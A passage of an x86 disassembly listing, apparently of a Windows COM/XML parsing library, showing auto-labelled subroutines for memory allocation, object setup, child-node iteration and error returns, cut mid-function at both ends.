loc_69B721E0:				; CODE XREF: sub_69B720D9+40j
		cmp	byte ptr [ebx+18h], 0
		jnz	short loc_69B721EC
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax


loc_69B721EC:				; CODE XREF: sub_69B720D9+98j
					; sub_69B720D9+105j ...
		push	4		; cb
		call	ds:CoTaskMemAlloc
		test	eax, eax
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		jz	short loc_69B7220D
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx
		mov	eax, [ebp+arg_C]
		mov	dword ptr [eax], 4
		jmp	short loc_69B72214
; ---------------------------------------------------------------------------


loc_69B7220D:				; CODE XREF: sub_69B720D9+122j
		mov	[ebp+var_8], 8007000Eh


loc_69B72214:				; CODE XREF: sub_69B720D9+86j
					; sub_69B720D9+A7j ...
		mov	eax, [ebp+var_8]
		jmp	short loc_69B7221E
; ---------------------------------------------------------------------------


loc_69B72219:				; CODE XREF: sub_69B720D9+1Ej
					; sub_69B720D9+29j
		mov	eax, 80004003h


loc_69B7221E:				; CODE XREF: sub_69B720D9+13Ej
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		call	sub_69B1B9F6
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	1Ch
sub_69B720D9	endp

; ---------------------------------------------------------------------------
byte_69B72230	db 90h			; DATA XREF: sub_69B720D9+8Fo
; ---------------------------------------------------------------------------
		add	al, 20h
		adc	[eax], bh
		cli
		rcl	byte ptr [ecx],	1
		lodsb
		push	cs
		add	[eax-3F00F037h], ah

; =============== S U B	R O U T	I N E =======================================



sub_69B72240	proc near		; CODE XREF: sub_69B72259+3p
		push	esi
		mov	esi, ecx
		push	offset dword_69B2AF00
		lea	ecx, [esi+4]
		call	sub_69B1D9B7
		call	sub_69B1E031
		mov	eax, esi
		pop	esi
		retn
sub_69B72240	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B72259	proc near		; CODE XREF: sub_69B6F543+89p
		push	esi
		mov	esi, ecx
		call	sub_69B72240
		xor	eax, eax
		mov	[esi+10h], eax
		mov	[esi+14h], eax
		mov	[esi+18h], al
		mov	dword ptr [esi], offset	off_69B141E8
		mov	dword ptr [esi+4], offset off_69B2A4E8
		mov	byte ptr [esi+19h], 1
		mov	eax, esi
		pop	esi
		retn
sub_69B72259	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B72281	proc near		; DATA XREF: .text:off_69B2A4E8o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B72048
		test	[esp+4+arg_0], 1
		jz	short loc_69B72299
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B72299:				; CODE XREF: sub_69B72281+Dj
		lea	eax, [esi-4]
		pop	esi
		retn	4
sub_69B72281	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B722A0	proc near		; CODE XREF: sub_69B7267F+10p
					; sub_69B72CD6+10p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		mov	[esi+4], ecx
		mov	eax, [ecx]
		push	esi
		call	dword ptr [eax+68h]
		mov	[esi+8], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_69B722A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B722B9	proc near		; CODE XREF: sub_69B72CD6+18p
					; sub_69B72CD6+D0p
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi+8]
		test	edi, edi
		jz	short loc_69B722D0
		mov	ecx, [esi+4]
		mov	eax, [ecx]
		push	esi
		call	dword ptr [eax+6Ch]
		mov	[esi+8], eax


loc_69B722D0:				; CODE XREF: sub_69B722B9+9j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_69B722B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B722D5	proc near		; CODE XREF: sub_69B7298C+10p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		mov	[esi+4], ecx
		mov	eax, [ecx]
		push	esi
		call	dword ptr [eax+9Ch]
		mov	[esi+8], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_69B722D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B722F1	proc near		; CODE XREF: sub_69B7298C+18p
					; sub_69B7298C+90p
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi+8]
		test	edi, edi
		jz	short loc_69B7230B
		mov	ecx, [esi+4]
		mov	eax, [ecx]
		push	esi
		call	dword ptr [eax+0A0h]
		mov	[esi+8], eax


loc_69B7230B:				; CODE XREF: sub_69B722F1+9j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_69B722F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B72310	proc near		; DATA XREF: .text:69B141A4o
					; .text:69B16154o ...
		mov	eax, offset off_69B2A4EC
		retn
sub_69B72310	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B72316	proc near		; CODE XREF: sub_69B702BB+6Cp
					; sub_69B71B94+5Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		xor	eax, eax
		cmp	[esp+arg_4], eax
		push	esi
		mov	esi, [esp+4+arg_0]
		jz	short loc_69B7232A
		push	eax
		push	[esp+8+arg_4]
		jmp	short loc_69B72331
; ---------------------------------------------------------------------------


loc_69B7232A:				; CODE XREF: sub_69B72316+Bj
		mov	edx, [esi+28h]
		push	dword ptr [edx+18h]
		push	eax


loc_69B72331:				; CODE XREF: sub_69B72316+12j
		push	ecx
		mov	ecx, esi
		call	sub_69B6F8EA
		mov	eax, [esi+20h]
		mov	dword ptr [eax+0Ch], 2
		pop	esi
		retn	8
sub_69B72316	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B72347	proc near		; CODE XREF: sub_69B723DF+28p
					; sub_69B7254A+25p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	dword ptr [eax]
		mov	esi, ecx
		push	esi
		call	sub_69B2DEB2
		mov	eax, esi
		pop	esi
		retn	4
sub_69B72347	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7235C	proc near		; CODE XREF: sub_69B75B50+17p
					; DATA XREF: .text:69B141CCo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	edx, [esi]
		test	edx, edx
		jnz	short loc_69B7237C
		mov	ecx, [ecx+1Ch]
		test	ecx, ecx
		jz	short loc_69B7238A
		lea	edx, [ecx+0Ch]


loc_69B72371:				; CODE XREF: sub_69B7235C+2Cj
		mov	eax, [edx]
		add	edx, 4
		mov	[esi], edx


loc_69B72378:				; CODE XREF: sub_69B7235C+30j
		pop	esi
		retn	0Ch
; ---------------------------------------------------------------------------


loc_69B7237C:				; CODE XREF: sub_69B7235C+9j
		mov	eax, [ecx+20h]
		mov	ecx, [ecx+1Ch]
		lea	eax, [ecx+eax*4+0Ch]
		cmp	edx, eax
		jb	short loc_69B72371


loc_69B7238A:				; CODE XREF: sub_69B7235C+10j
		xor	eax, eax
		jmp	short loc_69B72378
sub_69B7235C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7238E	proc near		; CODE XREF: sub_69B70438+7Ap
					; sub_69B71C1C+58p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	edi, ecx
		lea	esi, [edi+14h]
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_69B723A5
		cmp	[eax+20h], ebx
		jz	short loc_69B723D7


loc_69B723A5:				; CODE XREF: sub_69B7238E+10j
		mov	ecx, [esp+0Ch+arg_0]
		cmp	dword ptr [ecx+0A8h], 2
		jz	short loc_69B723C0
		push	edi
		push	ebx
		call	sub_69B6E94F
		push	eax
		push	esi
		call	sub_69B2DEB2


loc_69B723C0:				; CODE XREF: sub_69B7238E+22j
		cmp	dword ptr [esi], 0
		jnz	short loc_69B723D7
		mov	ecx, [esp+0Ch+arg_0]
		push	edi
		push	ebx
		call	sub_69B6F3D1
		push	eax
		push	esi
		call	sub_69B2DEB2


loc_69B723D7:				; CODE XREF: sub_69B7238E+15j
					; sub_69B7238E+35j
		mov	eax, [esi]
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B7238E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B723DF	proc near		; CODE XREF: sub_69B71B16+15p
		push	esi
		mov	esi, [ecx+28h]
		jmp	short loc_69B723EE
; ---------------------------------------------------------------------------


loc_69B723E5:				; CODE XREF: sub_69B723DF+11j
		cmp	dword ptr [esi+14h], 0
		jnz	short loc_69B723F8
		mov	esi, [esi+28h]


loc_69B723EE:				; CODE XREF: sub_69B723DF+4j
		test	esi, esi
		jnz	short loc_69B723E5
		xor	eax, eax


loc_69B723F4:				; CODE XREF: sub_69B723DF+30j
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_69B723F8:				; CODE XREF: sub_69B723DF+Aj
		add	ecx, 14h
		mov	eax, [ecx]
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_69B7240C
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B72347


loc_69B7240C:				; CODE XREF: sub_69B723DF+22j
		mov	eax, [esi+14h]
		jmp	short loc_69B723F4
sub_69B723DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B72411	proc near		; CODE XREF: sub_69B7500E+12p
					; sub_69B7500E+89p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		mov	ecx, [esp+8+arg_4]
		call	sub_69B75178
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_69B7238E
		push	eax
		add	esi, 14h
		push	esi
		call	sub_69B2DEB2
		push	[esp+4+arg_4]
		mov	ecx, [esi]
		call	sub_69B718B3
		pop	esi
		retn	8
sub_69B72411	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B72446	proc near		; CODE XREF: sub_69B724C7+Fp
					; sub_69B74F48+7p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B70050
		xor	eax, eax
		mov	dword ptr [esi], offset	off_69B14188
		mov	[esi+14h], eax
		mov	[esi+1Ch], eax
		mov	[esi+28h], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_69B72446	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B72469	proc near		; CODE XREF: sub_69B724A5+6p
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+0Ch]
		test	ecx, ecx
		jz	short loc_69B7247D
		mov	eax, [ecx]
		push	0
		call	dword ptr [eax+80h]


loc_69B7247D:				; CODE XREF: sub_69B72469+8j
		push	0
		add	esi, 10h
		push	esi
		call	sub_69B17320
		pop	esi
		retn
sub_69B72469	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7248A	proc near		; CODE XREF: sub_69B725C0+B1p
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+28h]
		push	eax
		call	sub_69B2DEB2
		push	0
		add	esi, 2Ch
		push	esi
		call	sub_69B17320
		pop	esi
		retn
sub_69B7248A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B724A5	proc near		; CODE XREF: sub_69B725AD+Bp
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+28h]
		call	sub_69B72469
		dec	word ptr [esi+32h]
		movsx	eax, word ptr [esi+32h]
		mov	ecx, [esi+2Ch]
		imul	eax, 1Ch
		lea	eax, [ecx+eax-10h]
		mov	[esi+28h], eax
		pop	esi
		retn
sub_69B724A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B724C7	proc near		; DATA XREF: .text:69B2A4F0o
		push	2Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B724DC
		push	0
		mov	ecx, eax
		call	sub_69B72446
		retn
; ---------------------------------------------------------------------------


loc_69B724DC:				; CODE XREF: sub_69B724C7+9j
		xor	eax, eax
		retn
sub_69B724C7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B724DF	proc near		; CODE XREF: sub_69B16098+Ap
					; sub_69B75912-5F562p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		call	sub_69B72FBE
		push	[esp+4+arg_0]
		xor	ecx, ecx
		mov	dword ptr [esi], offset	off_69B14188
		lea	eax, [esi+28h]
		mov	[esi+14h], ecx
		mov	[esi+1Ch], ecx
		push	eax
		mov	[eax], ecx
		call	sub_69B2DEB2
		movzx	eax, [esp+4+arg_8]
		shl	eax, 1
		xor	eax, [esi+24h]
		and	eax, 2
		xor	[esi+24h], eax
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_69B724DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7251E	proc near		; CODE XREF: sub_69B730EB+11j
					; sub_69B73502+32j ...
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+28h]
		push	eax
		call	sub_69B2DEB2
		push	0
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B2DEB2
		push	0
		lea	eax, [esi+1Ch]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi
		jmp	sub_69B72FDD
sub_69B7251E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7254A	proc near		; CODE XREF: sub_69B74FD3+4p
					; DATA XREF: .text:69B141B0o ...
		push	esi
		push	edi
		mov	edi, ecx
		call	sub_69B72FE6
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+10h]
		mov	esi, eax
		lea	eax, [edi+1Ch]
		push	eax
		lea	ecx, [esi+1Ch]
		call	sub_69B4D414
		lea	eax, [edi+28h]
		push	eax
		lea	ecx, [esi+28h]
		call	sub_69B72347
		lea	eax, [edi+14h]
		push	eax
		lea	ecx, [esi+14h]
		call	sub_69B72347
		mov	eax, [edi+20h]
		mov	[esi+20h], eax
		mov	eax, [esi+24h]
		xor	eax, [edi+24h]
		and	eax, 1
		xor	[esi+24h], eax
		mov	eax, [esi+24h]
		mov	ecx, [edi+24h]
		xor	ecx, eax
		and	ecx, 2
		xor	ecx, eax
		mov	[esi+24h], ecx
		mov	eax, [edi+18h]
		mov	[esi+18h], eax
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_69B7254A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B725AD	proc near		; CODE XREF: sub_69B702BB+5Dp
					; sub_69B71B94+40p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		mov	eax, [ecx+20h]
		and	dword ptr [eax+0Ch], 0
		call	sub_69B724A5
		retn	4
sub_69B725AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B725C0	proc near		; CODE XREF: sub_69B71C1C+29p
					; sub_69B727D0+6Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi]
		mov	[ebp+var_4], ecx
		push	edi
		mov	ecx, esi
		call	dword ptr [eax+38h]
		mov	ebx, [ebp+arg_0]
		cmp	dword ptr [ebx+0A8h], 2
		mov	edi, eax
		mov	eax, [edi+10h]
		push	eax
		mov	ecx, ebx
		setnz	byte ptr [ebp+arg_4+3]
		call	sub_69B6EB35
		test	eax, eax
		jz	short loc_69B7264D
		mov	edi, [edi+14h]
		cmp	edi, dword_69B9B610
		jz	short loc_69B72649
		cmp	byte ptr [ebp+arg_4+3],	0
		jz	short loc_69B72627
		cmp	edi, dword_69B9B5A8
		jz	short loc_69B72649


loc_69B7260C:				; CODE XREF: sub_69B725C0+6Dj
		mov	eax, [esi]
		push	0
		push	0
		mov	ecx, esi
		call	dword ptr [eax+3Ch]
		push	eax
		push	0C00CE301h
		call	sub_69B6E277
		mov	esi, [ebp+arg_8]
		jmp	short loc_69B72669
; ---------------------------------------------------------------------------


loc_69B72627:				; CODE XREF: sub_69B725C0+42j
		cmp	edi, dword_69B9B608
		jnz	short loc_69B7260C
		push	0
		push	esi
		push	[ebp+var_4]
		call	sub_69B751ED
		push	[ebp+arg_8]
		mov	esi, eax
		mov	eax, [esi]
		push	ebx
		mov	ecx, esi
		call	dword ptr [eax+3Ch]
		jmp	short loc_69B7266F
; ---------------------------------------------------------------------------


loc_69B72649:				; CODE XREF: sub_69B725C0+3Cj
					; sub_69B725C0+4Aj
		xor	al, al
		jmp	short loc_69B72678
; ---------------------------------------------------------------------------


loc_69B7264D:				; CODE XREF: sub_69B725C0+31j
		push	0
		push	esi
		push	[ebp+var_4]
		call	sub_69B751ED
		push	[ebp+arg_8]
		mov	esi, eax
		mov	eax, [esi]
		or	dword ptr [esi+24h], 1
		push	ebx
		mov	ecx, esi
		call	dword ptr [eax+3Ch]


loc_69B72669:				; CODE XREF: sub_69B725C0+65j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_69B72676


loc_69B7266F:				; CODE XREF: sub_69B725C0+87j
		mov	ecx, esi
		call	sub_69B7248A


loc_69B72676:				; CODE XREF: sub_69B725C0+ADj
		mov	al, 1


loc_69B72678:				; CODE XREF: sub_69B725C0+8Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B725C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7267F	proc near		; CODE XREF: sub_69B70438+52p
					; sub_69B71C1C+39p ...

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_4], ecx
		lea	ecx, [ebp+var_10]
		call	sub_69B722A0
		lea	ecx, [ebp+var_10]
		call	sub_69B6FEA4
		mov	esi, eax
		test	esi, esi
		jz	loc_69B727CB
		push	ebx
		push	edi
		mov	edi, [ebp+arg_0]


loc_69B726AB:				; CODE XREF: sub_69B7267F+144j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		mov	ecx, [edi+68h]
		mov	ebx, eax
		mov	eax, [ebx+10h]
		push	esi
		mov	[ebp+arg_4], eax
		call	sub_69B4DD27
		push	[ebp+arg_4]
		mov	ecx, edi
		call	sub_69B6EB35
		test	eax, eax
		jz	loc_69B7277F
		mov	ebx, [ebx+14h]
		cmp	ebx, dword_69B9B608
		jnz	short loc_69B726F0
		push	0
		push	esi
		push	[ebp+var_4]
		call	sub_69B751ED
		jmp	loc_69B727A3
; ---------------------------------------------------------------------------


loc_69B726F0:				; CODE XREF: sub_69B7267F+5Fj
		cmp	ebx, dword_69B9B580
		jz	short loc_69B7275E
		cmp	ebx, dword_69B9B578
		jz	short loc_69B7275E
		cmp	ebx, dword_69B9B588
		jnz	short loc_69B7271A
		push	[ebp+arg_8]
		mov	ecx, [ebp+var_4]
		push	esi
		push	edi
		call	sub_69B727D0
		jmp	loc_69B727AE
; ---------------------------------------------------------------------------


loc_69B7271A:				; CODE XREF: sub_69B7267F+87j
		cmp	ebx, dword_69B9B568
		jnz	short loc_69B72734
		push	esi
		mov	ecx, edi
		call	sub_69B6EB90
		push	esi
		mov	ecx, edi
		call	sub_69B6F192
		jmp	short loc_69B727AE
; ---------------------------------------------------------------------------


loc_69B72734:				; CODE XREF: sub_69B7267F+A1j
		cmp	ebx, dword_69B9B530
		jnz	short loc_69B72746
		push	esi
		mov	ecx, edi
		call	sub_69B6EB68
		jmp	short loc_69B7279D
; ---------------------------------------------------------------------------


loc_69B72746:				; CODE XREF: sub_69B7267F+BBj
		mov	eax, [esi]
		push	0
		push	0
		mov	ecx, esi
		call	dword ptr [eax+3Ch]
		push	eax
		push	0C00CE301h
		call	sub_69B6E277
		jmp	short loc_69B727AE
; ---------------------------------------------------------------------------


loc_69B7275E:				; CODE XREF: sub_69B7267F+77j
					; sub_69B7267F+7Fj
		push	esi
		mov	ecx, edi
		call	sub_69B6EB90
		xor	eax, eax
		cmp	ebx, dword_69B9B580
		setnz	al
		inc	eax
		push	eax
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_69B73499
		jmp	short loc_69B727A3
; ---------------------------------------------------------------------------


loc_69B7277F:				; CODE XREF: sub_69B7267F+50j
		mov	eax, [ebp+arg_4]
		cmp	eax, dword_69B9B620
		jnz	short loc_69B727AE
		push	esi
		mov	ecx, edi
		call	sub_69B6EB90
		mov	eax, [ebx+14h]
		cmp	eax, dword_69B9B530
		jnz	short loc_69B727AE


loc_69B7279D:				; CODE XREF: sub_69B7267F+C5j
		push	esi
		call	sub_69B752DA


loc_69B727A3:				; CODE XREF: sub_69B7267F+6Cj
					; sub_69B7267F+FEj
		push	[ebp+arg_8]
		mov	edx, [eax]
		mov	ecx, eax
		push	edi
		call	dword ptr [edx+3Ch]


loc_69B727AE:				; CODE XREF: sub_69B7267F+96j
					; sub_69B7267F+B3j ...
		mov	ecx, [edi+68h]
		push	esi
		call	sub_69B4DDE6
		lea	ecx, [ebp+var_10]
		call	sub_69B6FEA4
		mov	esi, eax
		test	esi, esi
		jnz	loc_69B726AB
		pop	edi
		pop	ebx


loc_69B727CB:				; CODE XREF: sub_69B7267F+21j
		pop	esi
		leave
		retn	0Ch
sub_69B7267F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B727D0	proc near		; CODE XREF: sub_69B7267F+91p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		push	edi
		mov	ecx, esi
		call	sub_69B6EB90
		push	dword_69B9B4A0
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+0A8h]
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B72810
		push	eax
		push	eax
		push	dword_69B9B4A0
		push	0C00CE020h
		call	sub_69B6E277


loc_69B72810:				; CODE XREF: sub_69B727D0+2Cj
		push	edi
		call	sub_69B6FED3
		push	ebx
		push	edi
		mov	ecx, esi
		call	sub_69B6E8BD
		mov	ebx, eax
		push	ebx
		push	edi
		mov	ecx, esi
		call	sub_69B6F2CA
		mov	ecx, [esi+68h]
		mov	edi, eax
		push	edi
		call	sub_69B4DD27
		push	[ebp+arg_8]
		mov	ecx, [ebp+var_4]
		push	edi
		push	esi
		call	sub_69B725C0
		test	al, al
		jnz	short loc_69B72863
		push	dword_69B9B4D8
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+0A8h]
		push	[ebp+arg_8]
		mov	ecx, [ebp+var_4]
		push	edi
		push	esi
		call	sub_69B7267F


loc_69B72863:				; CODE XREF: sub_69B727D0+74j
		mov	ecx, [esi+68h]
		push	edi
		call	sub_69B4DDE6
		push	ebx
		mov	ecx, esi
		call	sub_69B6E926
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B727D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7287B	proc near		; CODE XREF: sub_69B728E6+Ep
					; sub_69B7298C+D3p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, ecx
		lea	esi, [edi+1Ch]
		cmp	dword ptr [esi], 0
		jnz	short loc_69B728AD
		push	ebx
		push	20h
		call	sub_69B17EF3
		mov	ebx, eax
		mov	ecx, ebx
		mov	dword ptr [ebx+8], 4
		call	sub_69B19118
		push	ebx
		push	esi
		mov	dword ptr [ebx], offset	off_69B1EE00
		call	sub_69B17320
		pop	ebx


loc_69B728AD:				; CODE XREF: sub_69B7287B+Aj
		mov	ecx, [esi]
		mov	eax, [ecx+8]
		cmp	[edi+20h], eax
		jl	short loc_69B728C6
		add	eax, eax
		push	eax
		call	sub_69B660A0
		push	eax
		push	esi
		call	sub_69B17320


loc_69B728C6:				; CODE XREF: sub_69B7287B+3Aj
		mov	eax, [edi+20h]
		lea	ecx, [eax+1]
		mov	[edi+20h], ecx
		mov	ecx, [esi]
		push	eax
		call	sub_69B1A954
		push	[esp+8+arg_0]
		push	eax
		call	sub_69B17320
		pop	edi
		pop	esi
		retn	4
sub_69B7287B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B728E6	proc near		; CODE XREF: sub_69B7298C+DBp
					; sub_69B72E2D+6Ap ...
		push	esi
		push	edi
		mov	edi, ecx
		call	sub_69B754F1
		mov	esi, eax
		push	esi
		mov	ecx, edi
		call	sub_69B7287B
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_69B728E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B728FE	proc near		; DATA XREF: .text:69B1EE3Co

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	dword ptr [eax]
		push	[esp+4+arg_0]
		call	sub_69B17320
		retn	8
sub_69B728FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B72910	proc near		; CODE XREF: sub_69B6FABE+9Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	2Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B7292E
		push	0
		push	[esp+4+arg_4]
		mov	ecx, eax
		push	[esp+8+arg_0]
		call	sub_69B724DF
		jmp	short locret_69B72930
; ---------------------------------------------------------------------------


loc_69B7292E:				; CODE XREF: sub_69B72910+9j
		xor	eax, eax

locret_69B72930:			; CODE XREF: sub_69B72910+1Cj
		retn	8
sub_69B72910	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B72933	proc near		; CODE XREF: sub_69B72A73+58p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	2Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B72951
		push	1
		push	[esp+4+arg_4]
		mov	ecx, eax
		push	[esp+8+arg_0]
		call	sub_69B724DF
		jmp	short locret_69B72953
; ---------------------------------------------------------------------------


loc_69B72951:				; CODE XREF: sub_69B72933+9j
		xor	eax, eax

locret_69B72953:			; CODE XREF: sub_69B72933+1Cj
		retn	8
sub_69B72933	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B72956	proc near		; DATA XREF: .text:69B141C0o
					; .text:69B14308o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		push	edi
		mov	edi, ecx
		jnz	short loc_69B7297C
		push	esi
		push	[esp+0Ch+arg_4]
		call	sub_69B72316
		mov	ecx, [esp+8+arg_4]
		push	esi
		push	esi
		push	esi
		call	sub_69B6F0B5
		test	eax, eax
		jz	short loc_69B72987


loc_69B7297C:				; CODE XREF: sub_69B72956+Aj
		push	[esp+8+arg_4]
		mov	ecx, edi
		call	sub_69B725AD


loc_69B72987:				; CODE XREF: sub_69B72956+24j
		pop	edi
		pop	esi
		retn	8
sub_69B72956	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7298C	proc near		; CODE XREF: sub_69B72E2D+116p

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_4], ecx
		lea	ecx, [ebp+var_10]
		call	sub_69B722D5
		lea	ecx, [ebp+var_10]
		call	sub_69B722F1
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B72A29
		push	ebx
		push	edi
		mov	edi, [ebp+arg_0]


loc_69B729B4:				; CODE XREF: sub_69B7298C+99j
		mov	eax, [esi]
		push	0
		push	0
		mov	ecx, esi
		call	dword ptr [eax+4Ch]
		cmp	dword ptr [edi+0A8h], 2
		mov	[ebp+arg_0], eax
		jz	short loc_69B729FC
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		mov	eax, [eax+10h]
		cmp	eax, dword_69B95A5C
		jnz	short loc_69B72A31
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		mov	eax, [eax+14h]
		mov	ecx, [edi+68h]
		push	0
		push	0
		push	eax
		call	sub_69B4D2DF
		cmp	eax, dword_69B9B628
		jz	short loc_69B72A19


loc_69B729FC:				; CODE XREF: sub_69B7298C+3Dj
					; sub_69B7298C+BBj
		mov	ecx, [ebp+arg_8]
		push	esi
		call	sub_69B75495
		push	[ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		call	sub_69B754B0
		mov	ecx, [ebp+arg_8]


loc_69B72A13:				; CODE XREF: sub_69B7298C+E5j
		push	esi
		call	sub_69B754CF


loc_69B72A19:				; CODE XREF: sub_69B7298C+6Ej
					; sub_69B7298C+ABj
		lea	ecx, [ebp+var_10]
		call	sub_69B722F1
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B729B4
		pop	edi
		pop	ebx


loc_69B72A29:				; CODE XREF: sub_69B7298C+21j
		mov	eax, [ebp+arg_8]
		pop	esi
		leave
		retn	0Ch
; ---------------------------------------------------------------------------


loc_69B72A31:				; CODE XREF: sub_69B7298C+4Fj
		cmp	eax, dword_69B9B628
		jz	short loc_69B72A19
		push	[ebp+arg_0]
		mov	ecx, edi
		call	sub_69B6EB1C
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_69B729FC
		mov	ecx, [ebp+arg_8]
		push	esi
		call	sub_69B75495
		push	ebx
		push	[ebp+arg_4]
		call	sub_69B70235
		mov	ecx, [ebp+var_4]
		push	eax
		call	sub_69B7287B
